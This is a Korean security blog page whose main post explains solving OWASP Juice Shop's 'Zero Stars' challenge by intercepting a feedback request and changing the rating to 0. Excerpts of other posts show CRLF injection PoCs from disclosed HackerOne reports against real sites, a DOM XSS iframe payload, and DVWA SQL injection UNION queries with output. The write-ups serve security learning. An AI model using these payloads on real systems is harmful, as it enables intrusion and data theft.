기본 콘텐츠로 건너뛰기

Juice Shop Improper Input Validation [ Zero Stars ]

Juice Shop Improper Input Validation [ Zero Stars ]



Contact Us 를 통해 리뷰와 , 글을 써서 접촉이 가능합니다. 우리는 리뷰를 남길 때 별을 0개로 남겨 이를 우회시켜 취약점을 유발시켜야합니다.

하지만 , 리뷰를 남길 때 최대 별 개수는 1~5개까지 밖에 없습니다. 따라서 , 클라이언트측에서 패킷을 잡고 , 이를 우회시켜 취약점 유무를 점검합니다.


별 5개로 리뷰를 쓰고 , Submit 을 누르는 동시에 패킷을 잡아 Request 값을 분석해보면  "rating" : 5 라는 변수가 우리가 남긴 별 5개 라는 값이란걸 추측이 가능합니다. 

따라서 , 이 값을 5 가 아닌 0으로 바꾸고 , 클라이언트측에서 값을 조작한뒤, 이 값이 클라이언트측에서 검증되어 취약점이 발생하는지 안하는지에 대해 점검합니다.



위와 같이  "rating" : 5 ->  "rating" : 0 변경합니다. 그 후 Forward 를 눌러 취약점을 진단합니다.



진단 결과 , 위와 같이 성공적으로 리뷰 별 개수를 0개로 조작이 가능하여 이는 IDOR , 매개변수 조작 취약점에 취약합니다.

댓글

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는  HackerOne 에서  제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link :  https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection  3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal  CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Resp...

Juice Shop XSS [ Dom based XSS ]

Juice Shop XSS [ Dom based XSS ] Search 입력란에 악성 스크립트를 넣어 XSS 취약점을 진단합니다. Payload :  <iframe src="javascript:alert(`xss`)">   다음과 같이 이는 < , > 는 &lt; , &gt; 로 특수문자를 필터링하지 않기에 XSS 에 취약합니다.

DVWA SQL Injection

DVWA  SQL Injection low [그림 1] Summary [그림1] 는 SQLInjection 공격을 시도해 볼 수 있도록 개발된 폼을 제공하고 있습니다 Description [그림 1] 은 ' , # , -- ,= 등 SQLInjection 에 취약한 특수문자등을 필터링하지 않아 SQL주입이 가능합니다. Steps to reproduce ORDER BY Query 1' order by 1,2# User ID:    ID: 1' ORDER BY 1,2# First name: admin Surname: admin UNION Query ' UNION SELECT 1,@@version#  User ID:    ID: 1' UNION SELECT 1,version()# First name: admin Surname: admin ID: 1' UNION SELECT 1,version()# First name: 1 Surname: 10.4.8-MariaDB ' UNION ALL SELECT 1,column_name from information_schema.columns# User ID:    ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: user_id ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: first_name ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: last_name ID: ' UNION ALL SELECT 1,column_name from in...